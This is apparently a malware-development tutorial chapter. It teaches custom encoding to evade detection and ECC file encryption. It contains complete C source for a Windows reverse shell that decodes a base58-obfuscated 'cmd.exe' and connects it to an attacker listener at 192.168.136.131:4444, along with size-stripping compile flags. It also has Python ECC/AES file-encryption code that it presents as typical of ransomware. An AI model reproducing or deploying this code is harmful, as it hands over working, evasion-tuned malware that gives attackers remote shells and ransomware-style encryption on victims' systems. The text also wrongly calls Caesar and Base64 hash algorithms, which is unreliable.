[MalDev-17] Custom Encryption Algorithms and Elliptic Curves

03 – Custom Encryption Algorithms

Common hash algorithms such as Caesar, Base64, and MurmurHash have come under scrutiny from security researchers, often being used as features to identify malware. Therefore, it is advisable to use custom or less common algorithms.

base58 encryption cmd.exe

#include <winsock2.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>

const char * const ALPHABET =
"123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
const char ALPHABET_MAP[128] = {
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1,  0,  1,  2,  3,  4,  5,  6,  7,  8, -1, -1, -1, -1, -1, -1,
-1,  9, 10, 11, 12, 13, 14, 15, 16, -1, 17, 18, 19, 20, 21, -1,
22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, -1, -1, -1, -1, -1,
-1, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, -1, 44, 45, 46,
47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, -1, -1, -1, -1, -1
};

int base58encode(const unsigned char* input, int len, unsigned char result[]) {
    unsigned char digits[len * 137 / 100];
    int digitslen = 1;
    for (int i = 0; i < len; i++) {
        unsigned int carry = (unsigned int) input[i];
        for (int j = 0; j < digitslen; j++) {
            carry += (unsigned int) (digits[j]) << 8;
            digits[j] = (unsigned char) (carry % 58);
            carry /= 58;
        }
        while (carry > 0) {
            digits[digitslen++] = (unsigned char) (carry % 58);
            carry /= 58;
        }
    }
    int resultlen = 0;
    // leading zero bytes
    for (; resultlen < len && input[resultlen] == 0;)
        result[resultlen++] = '1';
    // reverse
    for (int i = 0; i < digitslen; i++)
        result[resultlen + i] = ALPHABET[digits[digitslen - 1 - i]];
    result[digitslen + resultlen] = 0;
    return digitslen + resultlen;
}

int base58decode(
    unsigned char const* input, int len, unsigned char *result) {
    result[0] = 0;
    int resultlen = 1;
    for (int i = 0; i < len; i++) {
        unsigned int carry = (unsigned int) ALPHABET_MAP[input[i]];
        for (int j = 0; j < resultlen; j++) {
            carry += (unsigned int) (result[j]) * 58;
            result[j] = (unsigned char) (carry & 0xff);
            carry >>= 8;
        }
        while (carry > 0) {
            result[resultlen++] = (unsigned int) (carry & 0xff);
            carry >>= 8;
        }
    }

    for (int i = 0; i < len && input[i] == '1'; i++)
        result[resultlen++] = 0;

    for (int i = resultlen - 1, z = (resultlen >> 1) + (resultlen & 1);
         i >= z; i--) {
        int k = result[i];
        result[i] = result[resultlen - i - 1];
        result[resultlen - i - 1] = k;
    }
    return resultlen;
}

int main() {  
    unsigned char encoded[] = "4mY3dzArmJ";
    unsigned char decoded[16];
    int dlen = strlen(encoded);
    base58decode(encoded, dlen, decoded);
    printf("%s\n", decoded); // "cmd.exe"

    WSADATA wsaData;
    SOCKET wSock;
    struct sockaddr_in hax;
    STARTUPINFO sui;
    PROCESS_INFORMATION pi;

    // listener ip, port on attacker's machine
    char *ip = "192.168.136.131";
    short port = 4444;

    // init socket lib
    WSAStartup(MAKEWORD(2, 2), &wsaData);

    // create socket
    wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    hax.sin_family = AF_INET;
    hax.sin_port = htons(port);
    hax.sin_addr.s_addr = inet_addr(ip);

    // connect to remote host
    WSAConnect(wSock, (SOCKADDR *)&hax, sizeof(hax), NULL, NULL, NULL, NULL);

    memset(&sui, 0, sizeof(sui));
    sui.cb = sizeof(sui);
    sui.dwFlags = STARTF_USESTDHANDLES;
    sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)wSock;

    // start the decoded command with redirected streams
    CreateProcess(NULL, decoded, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
    exit(0);

    return 0;
}

Compile

x86_64-w64-mingw32-gcc -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -lws2_32

Run

 .\hack.exe
cmd.exe

04 – Elliptic Curve ECC Algorithm

Based on a “one-way” mathematical problem, which is easy in one direction but difficult in the other, for example, RSA is the factorization of prime numbers, while ECC is the calculation of y² = x³ + ax + b.

Implementing the ECC algorithm in C without using third-party libraries can be quite complicated. Here, we use Python and the third-party library tinyec to implement the ECC algorithm.

Install the library

sudo pip3 install pycryptodome
sudo pip3 install tinyec

from tinyec import registry
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
# Import header files

# Generate key pair
def generate_keypair(curve):
    private_key = int.from_bytes(get_random_bytes(32), byteorder="big") % curve.field.n
    public_key = private_key * curve.g
    return private_key, public_key

def derive_shared_secret(private_key, public_key):
    shared_secret = private_key * public_key
    return int.from_bytes(shared_secret.x.to_bytes(32, byteorder="big"), byteorder="big")

def encrypt_file(filename, shared_secret):
    key = shared_secret.to_bytes(32, byteorder="big")
    cipher = AES.new(key, AES.MODE_EAX)

    with open(filename, "rb") as file:
        plaintext = file.read()
        ciphertext, tag = cipher.encrypt_and_digest(plaintext)

    with open(filename + ".enc", "wb") as file:
        file.write(cipher.nonce)
        file.write(tag)
        file.write(ciphertext)

def decrypt_file(filename, shared_secret):
    key = shared_secret.to_bytes(32, byteorder="big")

    with open(filename, "rb") as file:
        nonce = file.read(16)
        tag = file.read(16)
        ciphertext = file.read()

    cipher = AES.new(key, AES.MODE_EAX, nonce=nonce)
    plaintext = cipher.decrypt_and_verify(ciphertext, tag)

    with open(filename.replace(".enc", "_decrypted.txt"), "wb") as file:
        file.write(plaintext)

if __name__ == "__main__":
    # Using secp256r1 curve (P-256)
    curve = registry.get_curve("secp256r1")

    # Generate key pair Alice generates key pair
    alice_private_key, alice_public_key = generate_keypair(curve)

    # Bob generates key pair
    bob_private_key, bob_public_key = generate_keypair(curve)

    # Alice derives shared secret from Bob's public key
    alice_shared_secret = derive_shared_secret(alice_private_key, bob_public_key)

    # Bob derives shared secret from Alice's public key
    bob_shared_secret = derive_shared_secret(bob_private_key, alice_public_key)

    # Encrypt and decrypt a sample file using the shared secrets
    sample_file = "sample.txt"
    with open(sample_file, "w") as file:
        file.write("Malware Development for Ethical Hackers =^..^=")

    encrypt_file(sample_file, alice_shared_secret)
    decrypt_file(sample_file + ".enc", bob_shared_secret)

In simple terms, this is the public-private key encryption and decryption process. Run

python3 hack.py

Encrypting and decrypting sample.txt, commonly used in ransomware.

Download the experimental environment and e-book by adding to the QQ group.